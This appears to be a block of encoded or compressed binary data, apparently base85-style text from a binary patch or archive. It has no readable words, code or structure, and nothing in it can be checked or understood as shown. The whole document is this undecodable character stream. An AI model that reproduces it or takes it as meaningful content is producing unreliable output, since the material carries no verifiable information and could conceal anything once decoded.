zc);n$*jeGAp`@v*8K(35!OiCg+b47!SQUOTBEJOXKLr@V*Kv;*<&48iPCqBU3h%p% zceUOJ>!~2T-_XrO}VQ(Q=fA&kty ztX3GqFa?>Y1i=!5OsyafGtjZ0HXUV6_t}s@-eAe-iA28nWYQM-1*T(csOGKjS!#Q-V$JC`Y)uz((($Ol~(GSsA{gsFoU?gGRbnj%7I%6lr1 zQF0jqO=I$1y{C^^adNuMhb(neOAf|;XG+(C`@)^zb%^&YKNEJmmTFcR;oam|;NZq@8s7 z!Z?a>2lU~@GrAsPD0C5+n~S)6SXuQYViV6)WtN5IwT~qB1g3xG_z7l zQ$7?G3K&7+dzLC*dr?innYT`QiSb@v0vK_#f54T1|8Oa#ortSMiwc?RkRY%Eci33X zfN|t;K{qImO}8LA7|j+|cKuHJ=0{OLPL!{{;7SRXr z#MG#`ECH0B4UkCGfWZ4GNbe&m4iO?qt}fA{M^~vpBWKY2b*gkbo(jh1-@;#ek2JW6O^LhW5**cIUksvPAROKHAUrj zon}0~sEAnvk=^Hzs2*4@RNzc8QT2^Pdg*2@L+ORSfV~B*Ul(c9@0VZ|Z(c?m`b#L& zfh&wkFdcrB62(m1Phe2VGTeLcD$)|JwjZS=Lmk(K0Tv2Q1xfv41iz^-xOpYXRPFf# z`%cr9R{w=>Fvb7C(8x_HZsZm&P;zw?Neo>>9}AzbgDtCN{io*cBF*f32*sgQOJK^q zPkZp{NJLGw1oe0^<-u1?Th0)IMygp|HSNcEl}0m#YXQM^c|x^3Bb{_qSU+cMbzc%5 zdaod0c_qzEzP_{t;D5;gevOpUxFJ|=vX!W6L!69MmVl{x<8KVa0f*m`rX~#8Y^vBh zgY(V|rb0&{Ks4S{-lIQ2EnrplD9FAs9}&q|l~Vo$Nz6MTU6=ywFUjwsOp$KV+XCoV zyoc!ehQwK_usdq}W<@FYRFSkMu>Ezt)(fd4!hOa###LUWFH% zq`8!2f@)kIez7=~7LVoHC_$S~y~_jhCt{z79n@2qA|lswL5*9H#2y zeIOJmG(bwHkxtW5l@iN0#D^*0csFy&3?m45E{-7o$)V$nk(U45snD4wkemU@Lpk9z z2I`tkNSsyDIhG(?m@a^Z(42~z0~5_EG!Vqem7y$Lf%H=X%#w&2hcv6yE#rh+Q54`1 zp*10xYlB1qQ#*_5LlMG_(bB>s!xPBR`2iCFA3lO7F)a)1@vepaWFkU&yE{Oo02+S^ z4K12RwY&tqr-N6I1k70SpFiSAHqXX!Rj|>;ndow(yF@2JZ^pxW9$v-Z%Ru29z5s8g zeV418mxTo5ft0RLsrn_P=_*eI@HeM_Iil;k64zZrOH}k)#YC-L!wCFT9@09zm?73D z#~?s#`_|X^!xDbDntuRHMgfE98UPJ%poa;So(v@7Hf$ty1A|mr1=u!SQIi0D7t4m?HwLVR&DVDdXX}X zh=byYmS7OAraiVw(XZeJ~$GuJOudc81m&;~fNwmR2A@Kr(p8f`P55T~4?^~z z`OjywJ#d!pE25c$!1_UOG1PbHJnpJHOL{r`zqP~ZE0pgMz&5Ve zAR?DyD)Nsdy(gJGab>>rSkeWvssh=KV?goc!wn=wJ)lBQ;eo;ULm2Rdt?OyoV@mfd zP_4h7(Q)Tq7XPP>DDr#@DZkK$0GlTFzC`O@enV6N6qDK+ri6i7u3R!};gk8L9UsbI zKpB{Ey7~!mxTcx~WqQ4n7L#x7WysUHd1qsOMz*Y*1_ro z(ZDdECtnjUeE{|;4^?=O#3Oy2cnnCk+Z2g=q8vptPe+4aGoHa?5a>Co5^JL6g)Qy$ zYCKM<*mMF#wM@jlUjq(KBI!w#yj7*{>}cCJ4oK)*m62r}+NTn>9p<3NG@^Mr8O2b| zDo1VxmH*BW(R~m8XE~8_7n=Tn1L4MrJ_Q~6QDx{DdM=ay$qh*aH-uZ z=M%_hccSVG@Mt-UDAR5xU8V872=8ypA+i^M`?Z2_>RU;-tWp7#dwgGw$MusA11fXn zLkfQQQno+!brh^MP_Z9Sra>vNKjkq@_w6kRfHxr2uMXd7NMqpdjelT}OM%0Q^by)y zDN_g)OjQIu3~?e!Q?|-PL{S3HHU{FVv|%(e97DFKf#LYOkWxV+*y8<1P>R${f)Fi0 zoy24U(Wa{QLMoeKtCK=F3DanAU7#?Kbf`2Jq4j|dVC6&21_g|+kqXc$s?_)lrE3cG zmibvkLg|{BgPmLvLQ%S-&QWwfAYw7$G5S35-#T7IO2=Hr|mLOUsH^I8%ZqImNz@R@&C_#e@j-i zQ^eE`l@=r%rZLDcQ#w7V*vwY^ZibjYjnn^u^mbIhA5~~E#WO#HsP9)KPUT(9?q+9Z zp;Fc68Q1loqErMBP~;+YQnFY>H4=wp2(VUb=V}V3;I*!o%ADY5}`q zp%LP+obCgB_SYDXT46#)t#ml0qcBCf%=W-4hNeAMk0K!-U_%t6NqP*0`5KOJR3_5pVQvn2D^je~}PNcJ;vem1y#{ahM|tsDxPN0lzbsZFYBx+6sJ zBFH;rADAXtx)^r|g~6slZD|-Rq8v5@bH!f)Ifbu;XuxSMwC$EvRIv{b%XhTtR`FWO zBXT{mSxrI8qXM=`!_`g)6Vcd)?XXHbf^hF0Ofwi^&n7xyvMiRkp84uVF)8uZja-1Es_nw_lmqe(AB`_W&e1K}%3#0=+ zMCYeuro#016c^yoIqZ{he$_sbz*&$(nku3}bkR}iN2&Y_)#P%S{QY@!@d02=SOqkG z=osD%2qU6B4j;$q|L8(y7E+;-6Oc;K87eC4B#CDO>L$^&6nDr0Y;I1MQiQ`1TMhmG zQ#fOOREl8vW~br*;dHJ_vPh3SMt(*mZ*n}J78Deb-p5p~K{4WcoMgbtpp0+fd4vWo z-oFcY*9qxGDb}2oZ*~bbr{al59J_o9E+Hv1K_BM|nSNSY<^X~M|AVhW#b*FDo-=3R zYp}{f)4oO5ap)YKuJSO-5#8edBkIfJVrs+w&o*by?9(<)>zwv!QPaNYX--M9RD%#w zV-KkiifCFSq>?T2XplrvNJ8qgAZyu@tqyv~o@|5YcgFjBKkr}7r#W-(`&#bn`@OFF zI`<(fXeBf2aO^0lqM<+StWr}CD357lx4QitA*;NAi>tJuqCqV^-bmml{z_HRjH|1) z=?>*n)1s=dqy4WHm!52+IS-*_Kc_AM-OA9@m&7#tX^*L;mzYvQk#xF#h8|WxrwO>M z?$|Ln^(q~?W6shfY5{s(azhbbBu~B}Hu0-9C;6xKi)0;u~J}xBHDmXPLpbO~7L!0Su+vzBSwa`Td z`s;2yv{h9@gOU6p9@?gAhc7V)A1QM$se#M#CvdBtyM$6*iG8YtjCM&6rMTLwWg0qjpT=Kd$Rqv1Azabdof@KPB zOre>r9@Xvy2tiuNR6J?~E{2G~?0toC%6b(B(;t}XD6&GE%uyPdsuLk)44U@iREjG= zYRi>4h7t;Y3%fpLv5HblnY2h5bmvgLme9Ka7=|m{|Du==%NtN}eASc|F1R#d5Cq}f zLV6Vu1gIeN_nK4y7UNx{MgJO|UCg~GsQ*4qb zWu{?tt%f$X3NWLh!nJ^>mYGKo15~I)n`0?d>WOr%iJ<2)NmWP=&;e^`GNH5}J0sP4 z?r>|UW%?9}TAQ^>t)>zcD$JVpUez>QMM`b7J{_fOpAJOX{`Kh^QfxPaDEtEZT2KQs z$v7z;b;;gn$t<;xz1E9k)P=Et%t0G5mBmVx(2+LD;A}jF(##>EoW5$6P0b}jM{v0} z$)>;#14{z4QsUcMVACKPA9$?^=7 zsIl-;T5WswNYq5cUZu9G6{;vvg-#@?1?ry}`^el$!~fE1tC>t!Ov_cWX|y`wBZN5W zC_ri9^fa9k)e^bd%!I;bodM$1R2oiaCbF2=vm_8p>qB);a)BU}T6Hw2`x^n(Y=~Be zYM@D7F{f0UI5p3eP#QYC$lHj4d6#hYe0rK`m+3l|I%?q+<}pb-InYja$CX}H(?!nq znngFs!X+Ja?x2pB+#?kUhbZNO`;y+6Bv1NxO)pf^<*!!IAzsn@PTiUOS?RM%tH|%_ zxYa)aJcUN_7$&?%f~c{zT1v-Ol4%0Ga~(arM5u0GZ=z07(bi5gC8Zf=bjd=i4{4?a zj%QJS^94(i$hM*I9IX}{)v{bCoYcpx9p&#oa#SB7p=h~ zL`4}z9M;mvqX1A|g;TVOhK}PkM<`{*3EG$YNbylBshW}Hq6 zRH-lCA-WsstLaX6Nf#k&*7DhIW&aDMruC(E6}1a5k%e#QqB)(w%H(eW>6LeM+@C`u zcl&#FCmnw5NZHkIs?h7S@A`jN4`|fwH=0yKXBPatDZvnu?9ftB79hKApo+U|u8m%R z^u7bo|G-66p^aV-Wop$UH+9NmEnRUZuqPB<=4lsrlK4|E^#DD|_1+ZOrSN4ap8JXr{>_iZ;i0d`D}CN*0c3)j3ZpvTYW*z& zSHDvL%J*6sNzFuc{fEgaZ7$OOaSGl&FqKUCMC$~fMkxnpke#2kUK|Y+f0?B&{Hpc7 z7`&b@4Cl_i-xa&>|H@1Co5PD(UwURkzCz@JBoi zs|iXez)1W%loU)N#n5s>3TuZ-211clxPqY_YPB*HO$C&H3ukN8DcD-I4@(>U($t!D z>UuVPMcR6GC?{QoakZIb2GO6T#Q2n2n*?p36oMS0T}#C_0t%t3lh)<>TtK0-376?= zu}oD+5qg_dBprE)EjX@Es_M|M(Dvu&v~ zUIHq-n~<4nkyDwg`U^;E9|>7V4QMA*1cc%^z4c{bM`)B$7JuhjLkTUn199#2UY)X? zlv%N8`mh5pB>J^9Lg{0zDpXUns4UXQhN35*owk#p)PyYw-zh9CUT?cAygkd)PJ*lH z^*}?OGE}Nk(|^O&8d72Zx7b{<8vq>Cx!O%ZvY%2o(%+gF12wqNNjqU$mTr~L2yN+& zD&7NVXkGg&mChu&7pF-`yVQlq)go-Wo{EsEi)mC^PHHHHYY9<9UudBgyOAlh-R!9D zeSnWUt;IoFV;ZHxL(9`tHEN-!mdntn-ubUq9zfLcCuqIuRP6 ztkBv@g~`=%bjHz6k`zuH1pe-a(q{1qq*dTglMTA+NV{`k5J~HPl-5*-fF!(|{+mk3 zg4Hx;Yi(7AD@Lno7ND7SlsIJgutaM$ypxcP`O8>n+p2v+X>nEMK(SIo3%g&X7^|)! zwZuUYOT^pAdHHlJx)*o)Z;>$LD0WWQg*6j5p+-` z)VVbDX~n>`RN}A80TYiAG!6S7mzzY>b*;;FQ?kjGe_bw@PQOAUwX2^}R{_8jt(16_ zb}yLzP&ieUr0%52jvXnTM&;6m96YXN`cVYE{XqK*HeIFs>n|jU&+w<+fXY1qP)cGZ z?JpTBH3dX#H<7CerMmsEY|>ejss^C`%H|V8&?|zLjUGSt{BU)gBmD`i^Q7SW{TFa0BZ7T4j$v~bI5<0_VrHGhl0So~Qa?yue234G~ayQx&& zYM+F^OtYBMnr(eOph(0k2yHB&{WeKOKgQOsr^c3%QMB29oWpAfY`I!VuRHv_wn)9= zFIP%ZlXPN0Z!;!SaTkDkttN47rAoQt4G~V&Hv~)mI;oPVr|mbW6s}gqskPm?*`zRq z(yBY)qSo}OG&OA};u@8}nkFEnk6tM%O*5eW%N#D@RN7@CW!>ca^m?SOn6H=9U;fI%)e4oDLp?@J|Zc`HL*nGUg#tw(GaL9i>;o zFreH`4zSvpb+u{Be!WPW zvZ+#TZpSq{)Wx^x2u4?ODW49lN9?5Gp;PM;gt$`~M*|dHiQ1*|xxJh0q$e&YR>$4h zr;NKxb0o=rTzF4iL;L+;DH(cS4HO?#i)n&V_@IpJKCBGwPQ`DkjyzNqYwdPSo%E5$2@Qz>CrRbgGq}3vAYJGn@!s@vlq7d=#&FZ~VG@sf;ZM6kbDxBw zH}*9dEh_PUrR~ak?f&q~Yf9?Xby}05{Wl23>n;Fz=kMx{cS|Vhy>{pO5s>=<@BYi< zq#vnb+6;qFfVhFDKtEOSmr^_fgr8rj`oEab7xx1xUsc~EH@MO1Zzb>5h1vnW4*+V- z;GZHv=#O7O=nxxF4g4M)zn(xMPw5458lbsmUQJf#aBfMv}q=xtO=xR zZZ*uSPm4&fA`w_(Rsw8d0~U(e5Oj1n52`@as)LrPI^#vIK}C;JK^40**{8SnTHDoO&$*0HE0bnAXA9VU`CC7HaD6HAwhhw*;~-9<0gjm zV5Y#o!#aXeCG9(YvJWrW9lk7PSxDPtYjpYa&cIQb#nU6EtVpSEi62(Ohd8A$$jyK^ zBlr0O)M6mi3lZv?A{D{|u^v3OSilgPi+&FeyO^@DB`6yb>DoaYgaLCPD_uwsA{PcT zxTa3}4W>Bc3GR@1(a&@0mFWr~XUHOgH;I8wna-QRu-gc_@;n%trge|^qB4KIsYX20 zGEWXHgat5{5jktPS@*)|4scdz0oRZX)-dx;Vy0 z8OHfDCB3J&D5(%h1e4~Xt|y^Hf!l_wM>L~>NU61l#B3MLU%O>E0_9scNOcevjBpK} zN5DgTPJ{>3b%q1e3`2M&wu!L`^kX{#LMD&*2f=^cobUycB33Q7JNPVn_6Qv)|KU6R zSRt&p28HznYjcjiK=mZ$0v>u-cst9!f|u1oINl*tJG z63k@9{Cw8;%)*x5>t1Q@fZ;!2j9W7J7$k` zX(Bb42|ngmZ89p*O>U}KTz)(yWug9@RiqB$T*MJA34qTeP|D;0y>*FMq8xNnvWqA$ z`INAasPH=TZCb9g^ZaGb&x)+a?K6-Cu*CyKJq#YudG)jZgWmU=A;{Oa{UxwcxYAXT zGW=o*lz8Zo!aD*~gs(AJ_&9?7`~=vC9?k%jQ!4A`&VxL-usyYQ`;dfGuFMeSp@l22 z>ZFxRb{twcoPx|Hjs5IK-t1r+D`xN`IQi%RdRO&$zRe8C0sOXLAlQPh92hpyS%n_+ zn^mfBxGKVKRqQmou&4a#&R%63Hb)3oeDd|`7wUIxcs#h`>MaYh$~YUj40r7)JOmap?$tN33SXUj-197{8<@N< z*+US2S~`PKjSE)`g-81~c&^ShSTKL}Y459(ixq!XaRae$J?ljoXm)9E=i<%@TqJks z2U79rDw<%^L42`o_(z>>kIKGr>MMaQ#uLlI;h z>!C3MBO8~5H7|dM!Veg7^v>m=_YVwXZP{BHsU_ZgXbk4~=mUV=V(wXMb#s(}k`9W# zqMVI~UT9JyoO|{f4TP@1;t}g=Vav-`aDi-1-M1bKKT!ZmA1nG`>ESqN*^1}-=trJk zmZE^koMZ?w%A&5?AiHz!U!EEs)$oFr7tv2fAu*WytptOPL(W)%tylQk z?P>K*dP?zHdyx}5nR)b?%i6@=d|OS}DaiT}BHGD+?A&~&_Hea2sqmF=s!r~f{LC$) z6R~OSVS0~tG+0>yvi-uTZb;(Q&&j(xRZTt5Urv}kW6sw(V|H(A&3_<51DfRJr`KNF zG6P|NJshm0B9+&KGWl0PXa9z?<-Kz7bN}KCvwBTnyA@kTjK5QfcuN*D1NZJ?Zog~r zlpDc{5IiFlxgSM+=&Q7X+|hPkuVy*t1m(A(ju3wPQ9UcHlnis>h2ap@F?R z{ZrN@MvIoL8!^Y=Pjf0(88SRJxGQ(ZM)?AFw~x07TbGe#ywfa1~O6V5ohRB#MOy2v(pkg315LX_tfpRT{C5w0|Ct`aDKESUsdQ9xBksISE`n&<~+{28wB>eZ+d<=X1SWeGEj+KMs~c{k%&^%NlZ4ndpwRjuX)lll7@_FiY(cbw{@6qul z6KbHdU^N7CC-kmf^@HR0&87kq1iVrs)gw6DHFaiJD z@X{sgD|^gPF9yR57DK0C>@1AbTRYbOK6^z|2%GA#^%;7MI4j|AJoA{mH^JLjhtZaH z6*jInW^)-#^~medZxU>(2=m7zP~h|VMlnECPSMCXvQLLfrcg$T;oPl{%~zp(pV6QN;mNJfPlnz9RFU;Pa! zCzqafNHZuzp2H|;&~)|lgh6H0h9wEhrmqE;uXOdADk>^!-Fpz}uSpR#sp<>qqua0F zx_y7?>1K|*TUQbCf&SU@apsx&^ke-wjyWdDQiHND%d6jC9M30{vPB!w&DCbxfYkh) zWwsIej~DDfe$qd%ZL$Ws>C;o`YH-TycVTOtt&39rbmaP11x8wSSymIWjf;9ci^2oV zgEv;Iwi{jz-RR|ErE0N7%u|I0I3v4u?sHkKU;bS@fSId}P^x`&W&K9Yx^pl=g7 z;QRh=43vv9u-qnYuKU?m%Yo*R$d4LZqDZl7WRne`$ld-b)pmA#A|yUEy>xX>?r@0d zi^DD#ad+DsbozVq2D z++|N&jqLt9va3fwZBD73I(Ktvv8XzAzr6-MySeo4i?`#^Jy^w}o72#~;B;`g96{lG zotY2#wg)#@<_S#?Uf)eOzYEyQdGAt@UH%o)AvuJC_rQ**E#=hOjcaK#w0TQul}y?7 zUDSYH+2Rt+ULIK5U|q#=N4`sp0&RygX3D;_5lM28aF;h=nI()_w=S}x*5zZu8g8u;CYxAPOu}BEnggWsN zGu6?rla?3{n`RmriZ-6C$ZSqZC`*-wT7;F!W_GM#Jm{rLzy1LqdXUGq#`bR2*$P+& zvSSnXqZjWddDx!j}F60cN6&8a+08=BTj*A1p6=P*QLr8`I?x$yoI7$ zXkR{Fa?`%rvB0&!w_rKVG^M%w_TCdW9}w9tJoisskjlk=ULqc4UOA$){P?r(jIwJk zOFRGY$ID6ZHq-=yT;G(%mwSUf5PcX#OfGW@Co3ItWPKm{mFd6IJ?nL{ef2;2fP+40 zm@qCJeCiDsddqx&N9@1k#e4`#xnBo=kDI=D7lKp@b-21n_NsUFA~7;THr}dU#HeH1 z4GabQpKe?Tt(GoEetN`%r#SAL>2>i0nJg@P#+-JcX#`$h(6Odxt#$M*+U;LJ8{_NS z?-n-xQ&?OR#I_2YnGN>c?-(8Iy7$Jn(mBv+xReg`DoANv*L?rfw?;VhH^eb_(d-;X zbs%?LmJVB&iMY|FIlS-My$H&_8oPw-H}{Exu}U#=fGV{=z#4E@1`7mNRFTwM<|aE)Q3V6nhZC`Jwc`R5U*TY%|t+ywl2=T;5<hUGsWB#KJp9prNsllEr5Nvf<4S3_U!mj8F+zs2g|WW6KHDl5cQXj&V%b zxLO>M#oqJDP-R)+r2j%4JkMMn@i~)js7Wv0URga*_{th;z3LVvKx}oHHYRLM!zHmM2w%J6O!DIRh@q zJ3#|Xi$FVAKYP7P%L!V*2r%e~In>~MHA`}2QG0Kud#;&iK zv-E_AQn+)=HOr-ED@!l^xoo|siPz@LPS#rhF^ zHh63=>+$*8?$g+myz&LLr&3Pl@Sh~yw=FxuM|kfSe*jr;y<8_fiCq4|xOQ{N_&z;d zxb51_y_VGQ1EAiZ-i^5*G;hWDIQ(ValSkeIFk;Cb{?NmBV;68lupor3vj*MbF~nf> zvxboG41PQEtiZI$FQYesi#ps6Vu*wcp57n*8BgS=hCXc{kYC9aO+g#Gk1f z6dH0iF)_-O!Lt4-U@MK@a8EEeV003?;Upi?fgPuRJqw2)*gq8-&76jee}ovnf;}q7 zg$r^_5YCCZ8F6$cxevS1$x;(m!@0qPPjxdH<{TaUrv7(|6YLQ48Yew#Q^aK7cf)?Z zxe#$O3pZz&(aPFBbkML%pUvb{`{4b%**A~=tSv@G*2S?)ikF%C;w8mvi`@`UQ*#U7 zj6{!gqcX1P$~k@mISgj!HJN*+k&ejX0r_y{t*riTNC^qeD))js96KFwORt51#jcpT%LU3Ex)nwv@Yi`LT^H{`HFoM8oz7V6f5qh3GSi?oITwb}8Hz?LG5e)h@_&%A2dPdg}}W zD6j_XeaD^3SrvEUrt?l47DvL4Fmq&-)sHghOrE#2-&Qw;zdlL|=_YDcZ1*saM8*qY zl!cqZM)2xZYF>=%-cGm`jyGYnVwbCwY{LbZPM0D%)Ld+N7HdG1;kA$1SU$ovU2IbZ zonhqd4tSG>$}SvlNO%P!Z#c+76Q+1g`Fqd!g+1#RBjQ`!Rj>8$%{KLnN4Ts(?;~Xy zqf9I%HcMNlyf1Hwfqq!QXYk2CnM_mom^6r8-(GcMvuc!6a@W#E7t2Y!rwJp~s=bpx zU9=XRM_czwSj!2ok`kj5X^B_2P9Ke@H-;u}ouxagBd#{6c9q25`RRu{V=mgf2rPs2 zy+}}_D62$G-$7rb=S|SS&Q2v@X}{j#-F+du@Jn8JtrD#22YLJ?o?k7G6Q_A$NWX5! z*%28v8R*UGmJd! z&hw|`#VPGiKAL%&JH~9heU;6UdYgK7yxyXM-!BZ{t6p6L;Ixl}dgH)%cX&79WsQk_ z_mrIRfn-51Z@_rhNIpD~(}{Y_ec;|e7!>nljnFhF^7sUuNkQ03b8LB=E~eX)zVcTT zBZ76s--O>EZ^{=XvWvjztxo^N_0s%?UknEsB%=$C8Z4zu77y^&95o99^^3s|OoL4U z2~wY1w+EU0YdUH`uHQJ!bP$${sgZAFG2irMdUJH)k8AE9g^Z7F))VNw6lT%=PEPNt z79l%#ow{_NdHju$!vEHsto9$~Kiy`nUV>~1$itYwuglvWc!X8n`|S2*Lr$~fnqg`} zqpdk?0E?K;mhQs`H=Nk4%M?AiYE8i-@i#244 z4dpRbv*Q_ozj#wLZo2pSjnV`rE5W;9#7^ejrXI+2qA6s|8Jo>5DR;Z=Jp<;TPPb&X zQ@6xZ-(WxV;-CZHBRl~q`EB#apW!jBVmxF3dL_g&CT52YH(_j68^|@_=yPS9UF_{k z9y>xXYBZH=XUO{UyXIeJ{wn@Y0inA_FJGS9D5=N+MIyuK1HnqH^jM>JnA|{wqt>O8 zke-Z0x++l`>&q>Z=0Vo)y$f!pcqjF*i>O{sBGSm+%`c=vOu()cCtW(yKUH@(%K|cq zLb#6am;Kl5{u&HLyq>T<`+i_CDe}>(3UMi&&|PS`eD6hRX2fxmhyuA@k~NZes``{o zigHOTCurX;hBenTu-PEa2DR}rFoZ-2O9vJjOhQ7reLK?Fbk;0Wk5aE{4rD{C1T`8l zO8$#MV?WydFpz|h_38sJ(NWae$*Kdfw?)s;p#yN=e=8IHYXhvA=R>v*MKrEhc6)M- zsM&t%;>*Hwj`?}h*4Cv?PfQZ;NVlifOy+arS+M1~#?|5l3~m$1%fFO!nIMmYN~J+OOwA99nVvns z&U-u8^nk=lKFh1syRZ=23>E}%w?hfL6Z?K~9>Tm^{+w7vTFQLqNX!4glTlYp_F7_N zbpMzzOh=}sZ^-_BjmcY+&GZuL3D~_gV>Omsea`&66yy(z!y^8ZPx3#)1jc;UVP^4V zrdVXDD@2Z>F&U3JnS~gk3yC&cV=qF^b6K3c#&_9sSfv6qY0z07jUUACts}ph-{5oU1L;5b#tOte|qM@m$ ztEW%g9=Zeh!XG=_XxkoFki=l=ZrUWN4-IgODm~PFndzJR9b`HGU^Tg{M}{ z*!~)X`&)K=2p*2!4%Cc(0~@x?iGT78O&=ct;YQ%u2mBW1C{qJgCHc)NrT}Cm-@_A~ z6yvtGl&oV-U|6s}Or=2M$92YEQ#Z62aZY~Z(YapWYm)^N84j4Yxs=60{7l}@Y{mYa zlTovV70vzi$R?sqo*X~MCm5WM5Fv|W2A*>t>F;1Dh9HDB=B0dTx-JiAe;6qor*jw7 zH_$u#p!S)YUd04NFGhk&1uUzy`>80W$6g=SJ3Uk9*>H2Lxs9=|5yO~eR0t;C{?7lQ zps2&|ML$uryyJoDW7t^HbTqy^A`lW3?oJ+68*Lp+!d0=PvSioWF=GUDhjAGcFvV@e zl+6n!`$_*i_nF|F2_V-+&lZ1?WD4Ca_{d!*lZ^kCQ*h&0B$IdBxrJqjDsHY&wm>7m zOn9ZBu`}s57+J;iWFOO6voG`eGwaK4Q%;PScyW7{V3L|TA^tASY(gN zju2njb7G?>bl}TQZ3^;iU==J~h5Je{)Kzl)Sd?+7NX)kG0uCFh|%2Jll3ijFS_jTZ0*sFqB6ANh-6Tl>)(Au9v{Vb7g^1l|Lgn#EP6$naHe3t zW;0ajy)2V!>tX$S+X3N(NjF4R7~kSyv-OPH{GZRAg6S$1Eh>`bPErgVAG?7iyQW5 zICrsga__H+d&JI)>b&}sZ3*pJv>)BwojoV>b&8_fLAU5qbtYYzpGF8P>Gv<7o|V-} zP;bd-Q6xI6vRXw2x?$tE)wX}`zIBZaBZ3ULB8#7n6Q&5QU!se-3x$5{(X6EZs3~Jd zKu%wV9QLo79yDYjnMSr(W_*QCGpK9=9}$2)d2tS&xAiuQq%a3XKzthV zhp1~=W6L;R(5;+NW`m{TH?c7)?6?tClKD~Og1R4%h!G_mCzcGNiJni=?zUmq->+Si zFA1*!Q>!&>?+qZARdL(vR&Z~j_z5%wkunl9giJx!pI~Y2Cx#EKZ_GH+wy@sx@JqEZ zBcX!(#PifpjUOag-5&eQ?PDy}eSBEdTQcu9_e8$%ggvchj}sHDtFe#HHT!O5yB6=@ z20M7-7QypSGlOVc^lS+k>fyZk-X4yOQ z%3amS4f;%l-MhmAxD=8BTC-o@S3EuyQh)}Kx;&2I?ed&e?|9gHHuALwzHlN%AjEat z9E7|ZNLaMR(6r5FXeiecoC_^FD3oNbKPa9SsfTb+uvh4>@m@dmDr*(u$%mFe)5iJ_ z$c=3v0=xioa6j+J1=3#C*sY@6L>fBLlIoA=MP#)|aCJ+pOHy*;Y?CbM!7nAC3*-}` ziVj~Hy{2q^^83zjeE=ISXJh3?D^C*koeMCgMK(}ZhNJr4qmOLwz-opqMe|m$8y(OQ zH3H9?;F=v(g{H1?Q{>#&-j9t{;H>m-Axwi$219#6YbbK<^s8Am@+pWFpDN5AS~AD^ zXbk{V)nuL$xn&2p8s;71g%|*~20C#$dtwKO&;$4OMKDgD{BW{;)}7S>qVSWwE+U;E zN+$d7(afw_hq@luLJPp1JtcQSevVW_&yPWF0Zu7mu-Sa`unx2q@&>0d<;H4r)3yrX z4iE4(@>VlZ(+rx1fswwx#eLImEh5w>&&OQjKWyl`<#Q_Z)R)LnQ$tN^zezT`&>f5w zj3&BY!ja8U%!@Qwu)(d-TH5*5@}#Iw$mPLz9DGeL^Xx>h0eemPCrKMx&(LQGyr;s< za#Lip@B@m7c?S*zxS~%*-Dgk94P0~*zBuU^>h{+G-VVVmEXkA;qr(BSbiHNguCA)! zGi;+r)mhK-Ox(>5T~mB&wWxi?=En0V-DvD_`t+ux*&{tDLDPRbzgcgXonUn+=`-Vf z1&7P-8R7yecoJ$tADMpSk8py?c($K8WHyp*X#t6?bOJ^|&T^CAv8u<;HX;`j<1!-? zo|iL(d+P*wrvLhUp=gv;U?iteG^r(GN# zD?rEPezg&Of&&3N3T zG1LU4k4%SGb)_I{^w=W)YD81i8(eOjhNN2Q*t%n0XI~=DdFePM($$yd?ey8nsCNtjJ{<~G&eDc8d>Oz1aKJ(^icRto<4M4W7he|A8}CP$c~> zm1|h8`t{V@AmhE3&J3z6&&WY<@jD60N=q!0{YUSYqjka;?voSi(D1t0tH_|6!Z#k@ zbg{f@7GO54L5{Du9i)Q$pkI|$dxp7l*+HRuK%-dW?U*rr-s(HlNZ;d|VUSB>f>Sa2 zb&}0b@QiQdr;$+9FE6lNg#Iu$T?)1fG`37;Biu8Em@@fXhdtUi-CobcC~T&H$vah{&CRSwmJ2 zr0cAn8z7b}cH+EI0Tyx}XndAhdUi1P%SA#o3Jp0sJoc<}d0wEwa$>1{vBnPKDM#P& z+_Cr@uVciGt`%erZiaFOwck1n~6ciCej^!j$q z3U^6Njvw&QeHZKQ8j;fU`y(DO!Nwi-uyRK{jF|eah+EIEi{Ij0^*{%AH$Lj+$}zUm z)qV8kWjf?R_Xv5ox{U(dVt8HY!~ZUJ-Z_sy2bs;^!9WT`bgnUT=S#<%{QON*ktzJ# zEXB|K@vo5xr@h@-SEo0y_vCtH9sl5(M*ByQ4^o96 zeIiC!b$cev@t6Ff;x2*Pj=-K^Vm@lWtto-SIam6Wi zHG>(FzgZk~-{ZRr#}Zvd8^v)B?R@48K3yYZ#y)qk z%w*{zI&u1(07D&PgU)f!5F-(Zn9sv04&yc=F|D#jtek8IP7E)0w$pJy?DhKGEU)i1U-^_doHX z+n)b)%r}|4cmQ)}ddvjMVWECn8rXT~cIWI-Sy`liB6M27BP*nfi~KBXz5KWPBe7)h z`BP`I_eBpjbUobDw_(CNFORv>J0(p_cg!OaXgrT#=hU#%%<;}sMTkMAK_oR}mGLx} z*6+5d8;Q^h%S2nzstZlv!}xGfgKa}_Lm{iLUH)ZcU+ebU|8=f$nmwYX$}u`N)c)}A z@Tw(Uh2Z!C5M(QkN~r7nW=26|_;t`gf5z>{*Ytfk^Ykz@T`%`z%|6gYS4L9^cO7)2m&)4N0gd$$7y*tp}F#JpO z2W4C|rA-lQchTXZQ~&fuKHFyL_fBpj8N>GQ`H4|BCf=d(CrVe>n$Inq4TQVf0@oH- zZi&v>vRK@Jis5&Ap4H^Qf6j;-qMDPVu@;oUQO^#sindixEwhbNRAU{v7Z0_4zw=#G zfmU5?TAq5k@s_CPVzti`ztKphUb%48-JwsdNZ5SOdm!(g^Rt=%9sB}H*%r8=)2d`v zwaSIT9noTEjTuxz>p>yQ$jX?*V@X&2{(J_4FgHjJ*~deY=RFp3TR|SBXk02v>Tf@) zL02~lN*fP0nog|Z7YO_p#U*9WK04*O-;W&I7kZ}Lmm4577h1w2|FgAvcha<$T?vQB z@fmx4bn@LNI)zN3PQ)1IZ8ZC!mo9A5PfI-iajGaD-QSe1+`#XjKvs~tw3}q4hkluH zV?HvWy-i`?yZFNS$UW>muJTzmU(Y$Og={HkqvL1KW~?`xJAvce@H@RTduf8rAAc8E zX6wR}>A2W```A105nm>7L1h&nE_4|o>l0R@=bszO0vcp5z$RgOX~x1uTvqn4Mj^uU zzdyj!!`>=1cNSHhm{G&fA7l&QDjlU&D`FiQ^>(;xy$*w?Fde(f#QYY_zXA&gRL(%w zEin@jZ+m|NEvZdgzZZ>BJsJ+hJb8DYgTg9wo=*Id-V+M2^i4Y0W-wBNA;tIp)r3uz92><9 zVQ&T7j0bM2Ca!s@&oIR58T=j&6#_~1;+I<5%!p#N1p4RL=IaD){4_1jl;MH#nS#&? z-UVc|jMdU(#qr=9Y!|*Zx;rteUOG{j2V6Tk}BXo&zbnOEb-c| zD%}DE)sx?w#Li3h75`fqvhVzD;qv&S@_ zW?`#5jU$O_Ym0On{mGjVD_s=Jk>&qEtob&m+1@X~LfIofg_UorV7L2DWlfKeEc;kQ 